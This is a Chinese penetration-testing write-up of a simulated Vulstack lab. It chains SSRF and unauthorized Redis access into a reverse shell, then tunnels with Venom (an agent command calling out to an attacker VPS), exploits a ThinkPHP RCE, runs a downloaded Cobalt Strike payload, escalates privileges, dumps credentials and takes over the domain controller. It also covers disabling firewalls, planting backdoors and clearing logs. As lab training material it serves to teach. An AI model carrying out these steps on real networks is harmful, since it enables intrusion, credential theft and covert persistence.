因为最近遇到一次实战,环境较为敏感,就不通过用真实环境来记录了。
我通过模拟环境来记录最终拿下域控的全过程,网络环境如下:
-
通过Vulstack的靶场模拟内网环境
-
同DMZ网段,一台
Linux
做Redis
和公网WEB
服务机器,不在域内 -
存在
内网WEB服务
,并且内网WEB服务
在域内
0x01 外网突破:
-
在进行打点测试时,发现Web应用存在SSRF漏洞(通过
Demo
模拟),探测后发现协议没有限制,先探测一下本机的端口: -
发现6379端口开启,猜测为
Redis
,通过dict
操作发现,存在未授权访问漏洞,版本为5.0.9
: -
可以通过Gopher协议写计划任务实现反弹shell,反弹shell到公网,通过一个小工具,生成Gopher数据:
- 收到Shell,是一个哑Shell,目标机器存在Python环境,我们通过Python弹一个完整Shell

# 执行命令:
python -c 'import pty; pty.spawn("/bin/bash")'
-
得到Shell:
0x02 内网隧道建立:
- 先看一下网络结构,192.168.135.0,通过
Venom
将目标内网流量代理出去:

- 将
agent
下载到目标机,将流量转发出去:
# 目标机执行:
./agent_linux_x64 -rhost vps-ip -rport 9999

- 进入节点,启动代理:

- 本机配置好全局代理,探测网段
192.168.135.0/24
,端口扫描结果如下,重点关注192.168.135.150

- 访问一下,ThinkPHP框架,存在
RCE


0x03 横向渗透
-
通过
RCE
,发现是台Windows主机
,出外网,先排查下目标机器有没有AV
或者杀毒,排查后没有杀毒-
直接CS生成
Payload
,远程下载执行,上线成功: -
等主机上线后我们就可以把代理关闭了,以后在启动代理通过
CS
启动就可以,给Linux主机种一个SSH
后门,隐藏一个文件,作为启动文件,开始进行横向渗透:- 通过
MS14-058
提权,获得管理员权限:
- 通过
-
- 抓密码和hash,维持好权限:

-
收集一下网段信息,以及域内机器,真实环境中,还有各类域内服务,
-
Ping一下,得到域控IP: 192.168.138.138,
Arp-a
查看所有ARP缓存表中的所有信息:


-
结构很明确了,下一步直接拿域控,因为密码已经抓到了
明文
直接伪造Token,来上线域控

-
在Web服务器上起一个
中转监听
,以后域内机器都通过Web
来进行中转,查看域内机器,远程上线域控: -
直接上线,因为
Web
服务器的防火墙时开启的,我们暴力一点直接远程关闭防火墙,然后上线域控: -
最终结果:

后续清理各类日志,维持权限,可以通过反射dll
来维持,效果极佳
权限持好后,就可以进行数据收集以及密码查找
收集的关键信息在横向,收集到信息在横向,最终撸穿内网
0x04 总结
- 相对基础的的一次渗透过程,真实环境中,也是外网进去,拿到了域内
Web
服务器,真实环境就不放了..主要工具免杀以及权限维持都会花费大量时间 - SSRF-->Redis-->DC 全过程的起点都是小小的一个SSRF,可见危害是及其严重的
- 继续努力,早日脱菜
0x05 所用到的工具:
https://github.com/Dliv3/Venom
Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具
https://github.com/LS95/gopher-redis-auth
gopher-redis-auth生成工具